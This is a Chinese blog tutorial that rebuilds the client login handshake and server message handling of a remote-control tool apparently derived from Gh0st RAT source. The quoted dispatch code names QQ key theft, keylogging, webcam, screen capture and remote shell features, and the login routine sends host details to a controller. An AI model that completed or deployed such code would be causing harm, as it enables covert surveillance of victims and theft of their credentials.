简单的完善了一下双向的连接。监听以及连接服务端。现在就是开始接收数据,然后再处理数据。简单看了下代码:

OutputDebugString(lpszHost); char szMsg[80]={0} ;wsprintf(szMsg,"%d",Port);OutputDebugString(szMsg); if (!socketClient.Connect(lpszHost,Port)) { bBreakError = CONNECT_ERROR; continue; } OutputDebugString("登录"); // 登录 DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(NULL, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient,strKillEvent,lpszHost,Port); socketClient.setManagerCallBack(&manager); ////////////////////////////////////////////////////////////////////////// // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 for (int i = 0; (i < 10 && !manager.IsActived()); i++) { Sleep(1000); }

上面是一些代码片段。大致流程就是,在连接到服务端以后,他会发送登录信息,也就是SendLoginInfo来登录到服务端,这个过程大致就是:服务端接收信息,然后来判断数据是否符合标准,是否是有效的,另外下面等待过程是等待服务端反馈,打个比喻就是,大哥。这是我的资料,您请过目?然后服务端就告诉他,嗯,可以。资料审核通过。请开始你的表演。

差不多就是这个意思了。我们跟进SendLogininfo这里。其实 这里主要是进行了一些数据的获取。比如CPU之类的东西。我们看下代码片段。

int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed){ int nRet = SOCKET_ERROR; // 登录信息 LOGININFO LoginInfo; // 开始构造数据 LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录 LoginInfo.bIsWebCam = 0; //没有摄像头 LoginInfo.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx((OSVERSIONINFO *)&LoginInfo.OsVerInfoEx); // 注意转换类型 GetNtVersionNumbers(LoginInfo.OsVerInfoEx.dwMajorVersion,LoginInfo.OsVerInfoEx.dwMinorVersion,LoginInfo.OsVerInfoEx.dwBuildNumber); // 主机名 char hostname[256]; GetHostRemark(hostname, sizeof(hostname)); // 连接的IP地址 sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); int nSockAddrLen = sizeof(sockAddr); getsockname(pClient->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); memcpy(&LoginInfo.IPAddress, (void *)&sockAddr.sin_addr, sizeof(IN_ADDR)); memcpy(&LoginInfo.HostName, hostname, sizeof(LoginInfo.HostName)); // CPU LoginInfo.dwCPUClockMhz = CPUClockMhz(); SYSTEM_INFO SysInfo;//用于获取CPU个数的 GetSystemInfo(&SysInfo); LoginInfo.nCPUNumber = SysInfo.dwNumberOfProcessors; strcpy(LoginInfo.UpGroup,UpRow); nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO)); return nRet;}

简化一下就是几行代码:

int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed){ int nRet = SOCKET_ERROR; LOGININFO LoginInfo; LoginInfo.bToken = TOKEN_LOGIN; nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO)); return nRet;}

然后这个Logininfo其实是个结构体。声明如下:

//上线结构体typedef struct{ BYTE bToken; // = 1 OSVERSIONINFOEX OsVerInfoEx; // 版本信息 DWORD dwCPUClockMhz; // CPU频率}LOGININFO;

上述代码有点简化,不过不影响。我们也来做这个结构体吧。

typedef struct{ BYTE bToken; // = 1 char bInfo[50]; //附加信息}LOGININFO;

经过精简以后,其实大家也可以看到,。主要是这个Send函数。然后我们构造一下登录信息是这样 的

 int nRet = SOCKET_ERROR; LOGININFO LoginInfo; LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录 LoginInfo.bInfo ="简单测试paopaoyang.com"; nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO)); return nRet;

我现在是放到这里测试,具体还可以根据你们需求改。我先加上代码。另外,这个结构体在一个ma的头文件里定义过了。所以要注意一下

LOGININFO LoginInfo; LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录 LoginInfo.bInfo ="简单测试paopaoyang.com"; socketClient.Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));

好了  这里算是改好了 。其实也可以测试一下,代码如下(暂时照着他的代码逻辑来循环 并没有改动太大):

 HANDLE hEvent = NULL; char strKillEvent[100]; wsprintf(strKillEvent, "%s %d","127.0.0.1",7777); CClientSocket socketClient; BYTE bBreakError = NOT_CONNECT; while (1) { if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) { for (int i = 0; i < 1000; i++) { hEvent = OpenEvent(EVENT_ALL_ACCESS, false,strKillEvent); if (hEvent != NULL) { socketClient.Disconnect(); CloseHandle(hEvent); break; } Sleep(200); } } lpszHost = "127.0.0.1"; Port = 7777; DWORD dwTickCount = GetTickCount(); if (!socketClient.Connect(lpszHost,Port)) { MessageBox(NULL,"没连接上啊老哥","",NULL); bBreakError = CONNECT_ERROR; continue; }else { MessageBox(NULL,"连接上","",NULL); LOGININFO LoginInfo; LoginInfo.bToken = TOKEN_LOGIN; // 令牌为登录 LoginInfo.bInfo ="paopaoyang.com"; socketClient.Send((LPBYTE)&LoginInfo, sizeof(LOGININFO)); } } return 0;

 

因为在服务端上我加了一个看接收和发送数据的东西。一开始是这样的

下面那个只读的编辑框是用来显示速率的。现在运行我们的客户端。

他会提示已经连接OK。然后他会发送信息给服务端 如图:

这里会循环发送。代码上面已经给出。主要是保持原有逻辑。先做小幅度的修改。现在就是服务端的事情了,来处理这个消息。把消息输出到日志里面去。那么服务端如何来处理这些消息呢,首先我们还是找这个TOKEN_LOGIN来看看能不能找到什么线索。结果发现在一个ProcessReceiveComplete中有调用(switch语句。发送的数据会在之类做初步的一个处理和简单分发)这个函数的声明如下:

void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)

仿佛是没什么嚼头,那就跟着这个调用 看看是在哪里用的?其实回头想想,我们在那个接收的回调函数那里就可以做处理了。也就是NotifyProc里面。好了 我们来处理一下这个。

void CALLBACK CIocp_testDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode){ try { CIocp_testDlg* pFrame = (CIocp_testDlg*) lpParam; CString str; // 对g_pConnectView 进行初始化 str.Format(_T("连接速率:S: %.2f kb/s R: %.2f kb/s"), (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024); pFrame->GetDlgItem(IDC_EDIT2)->SetWindowText(str); int iIndex; switch (nCode) { case NC_CLIENT_CONNECT: iIndex = pFrame->m_Log.GetItemCount(); pFrame->m_Log.InsertItem(iIndex,GetTime()); pFrame->m_Log.SetItemText(iIndex,1,"有新主机尝试连接。"); break; case NC_CLIENT_DISCONNECT: iIndex = pFrame->m_Log.GetItemCount(); pFrame->m_Log.InsertItem(iIndex,GetTime()); pFrame->m_Log.SetItemText(iIndex,1,"主机连接已被断开。"); //g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); break; case NC_TRANSMIT: break; case NC_RECEIVE: iIndex = pFrame->m_Log.GetItemCount(); pFrame->m_Log.InsertItem(iIndex,GetTime()); pFrame->m_Log.SetItemText(iIndex,1,"正在接受讯息。"); //ProcessReceive(pContext); break; case NC_RECEIVE_COMPLETE: iIndex = pFrame->m_Log.GetItemCount(); pFrame->m_Log.InsertItem(iIndex,GetTime()); pFrame->m_Log.SetItemText(iIndex,1,"讯息接受完毕。"); //ProcessReceiveComplete(pContext); break; } }catch(...){}}

那我们就新建一个函数来处理吧!

原本是这样的(他这里做了一个处理,就是通知打开窗口。大致意思就是  别人发消息给他了,他告诉主窗体说 你赶紧把东西打开 有人要投递。然后主窗口把东西打开了。紧接着就是后续操作了):

if (pContext == NULL) return; // 如果管理对话框打开,交给相应的对话框处理 CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; // 交给窗口处理 if (pContext->m_Dialog[0] > 0) { switch (pContext->m_Dialog[0]) { case FILEMANAGER_DLG: ((CFileManagerDlg *)dlg)->OnReceiveComplete(); break; default: break; } return; } switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_AUTH: // 要求验证 m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1); break; case TOKEN_HEARTBEAT: // 回复心跳包 { BYTE bToken = COMMAND_REPLAY_HEARTBEAT; m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken)); } break; case TOKEN_LOGIN: // 上线包 { pContext->m_bIsMainSocket = true; g_pTabView->PostMessage(WM_ADDFINDGROUP, 0, (LPARAM)pContext); // 激活 BYTE bToken = COMMAND_ACTIVED; m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken)); } break; case TOKEN_DRIVE_LIST: // 驱动器列表 // 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜 g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext); break; case TOKEN_QQClientKey_Start: //服务端发来消息 已经接收到上次发送的获取QQ的消息了 g_pConnectView->PostMessage(WM_OPENQQMANAGERDIALOG, 0, (LPARAM)pContext); break; case TOKEN_QQClientKey_OVER: AfxMessageBox("QQ数据接收完毕"); //MessageBox("QQ数据接收完毕","腾讯助手",MB_OK); break; case TOKEN_BITMAPINFO: // // 指接调用public函数非模态对话框会失去反应, 不知道怎么回事 g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext); break; case TOKEN_WEBCAM_BITMAPINFO: // 摄像头 g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext); break; case TOKEN_AUDIO_START: // 语音 g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext); break; case TOKEN_KEYBOARD_START://键盘 g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext); break; case TOKEN_PSLIST://进程列表 g_pConnectView->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext); break; case TOKEN_SHELL_START://远程终端 g_pConnectView->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext); break; case TOKEN_SYSINFOLIST: g_pConnectView->PostMessage(WM_OPENSYSINFODIALOG, 0, (LPARAM)pContext); break; // 命令停止当前操作 default: closesocket(pContext->m_Socket); break; } 

这里我们就不这么麻烦了。也就是说 我们这里先不用进行处理了。但为了好看一些  这里还是稍处理下吧

void CIocp_testDlg::ProcessReceive(ClientContext *pContext){ if (pContext == NULL) return; switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_LOGIN: // 上线包 AfxMessageBox("你要给我传送TOKEN_LOGIN消息了吗");// 这里就是告诉客户端 我东西已经打开了 你可以开始传东西了哈// BYTE bToken = COMMAND_ACTIVED;// m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken)); break; default: closesocket(pContext->m_Socket); break; } return;}

紧接着就是处理接收完毕的消息了。操作还是和上面一样。我就不贴了。代码如下:

void CIocp_testDlg::ProcessReceiveComplete(ClientContext *pContext){ CString RecevieData; RecevieData=(char *)pContext->m_DeCompressionBuffer.GetBuffer(1); int iIndex = m_Log.GetItemCount(); m_Log.InsertItem(iIndex,GetTime()); m_Log.SetItemText(iIndex,1,RecevieData);}

上一下效果图【整理下大致流程:客户端发起连接->连接成功->发送登录数据->服务端检测这个数据 如果符合要求->发送消息告诉客户端可以继续下一步->客户端开始发送消息并通知服务端->服务端开始做一些准备->准备工作完毕再通知客户端->客户端开始正式发送数据->服务端进行接收并处理】: